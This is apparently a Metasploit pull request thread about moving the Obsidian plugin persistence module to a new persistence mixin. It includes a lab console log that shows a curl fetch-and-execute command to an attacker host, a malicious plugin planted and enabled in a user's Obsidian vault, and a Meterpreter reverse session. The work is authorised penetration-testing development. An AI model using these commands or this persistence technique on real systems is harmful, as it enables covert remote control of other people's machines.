update obsidian to persistence mixin

[h00die]

Updates obsidian_plugin_persistence to the new persistence mixin. Part of #20374

Verification

• Start msfconsole
• exploit the box somehow (ssh_login for instance)
• use exploit/multi/persistence/obsidian_plugin
• set SESSION <id>
• exploit
• Verify persistence is created, and you get a new session if apt is run
• Verify cleanup works
• Document is updated and correct

[msutovsky-r7]

msf exploit(multi/persistence/obsidian_plugin) > run verbose=true 
[*] Command to run on remote host: curl -so ./kByxTrWAKymO http://192.168.168.128:8080/Q7JGOkCYlO14PhxIQeJRIQ;chmod +x ./kByxTrWAKymO;./kByxTrWAKymO&
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

msf exploit(multi/persistence/obsidian_plugin) > [*] Fetch handler listening on 192.168.168.128:8080
[*] HTTP server started
[*] Adding resource /Q7JGOkCYlO14PhxIQeJRIQ
[*] Started reverse TCP handler on 192.168.168.128:4444 
[*] Using plugin name: R0FUt
[*] Target User: msutovsky
[*] Found user obsidian file: /home/msutovsky/.config/obsidian/obsidian.json
[+] Found open vault 17f73d27885732f9: /home/msutovsky/Desktop/testvault
[*] Uploading plugin to vault /home/msutovsky/Desktop/testvault
[*] Uploading: /home/msutovsky/Desktop/testvault/.obsidian/plugins/R0FUt/main.js
[*] Uploading: /home/msutovsky/Desktop/testvault/.obsidian/plugins/R0FUt/manifest.json
[*] Found 0 enabled community plugins ()
[+] Config file saved in: /home/ms/.msf4/loot/20250916145027_default_192.168.168.146_obsidian.communi_774598.txt
[*] adding R0FUt to the enabled community plugins list
[+] Plugin enabled, waiting for Obsidian to open the vault and execute the plugin.
[*] Meterpreter-compatible Cleanup RC file: /home/ms/.msf4/logs/persistence/192.168.168.146_20250916.5028/192.168.168.146_20250916.5028.rc
[*] Client 192.168.168.146 requested /Q7JGOkCYlO14PhxIQeJRIQ
[*] Sending payload to 192.168.168.146 (curl/7.81.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 192.168.168.146
[*] Meterpreter session 2 opened (192.168.168.128:4444 -> 192.168.168.146:39932) at 2025-09-16 14:50:36 +0200

msf exploit(multi/persistence/obsidian_plugin) > sessions 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: msutovsky
meterpreter > sysinfo
Computer     : 192.168.168.146
OS           : Ubuntu 22.04 (Linux 6.8.0-79-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

[msutovsky-r7]

Release Notes

This moves the obsidian_plugin_persistence into persistence category. The module now contains new expanded functionality for persistence modules.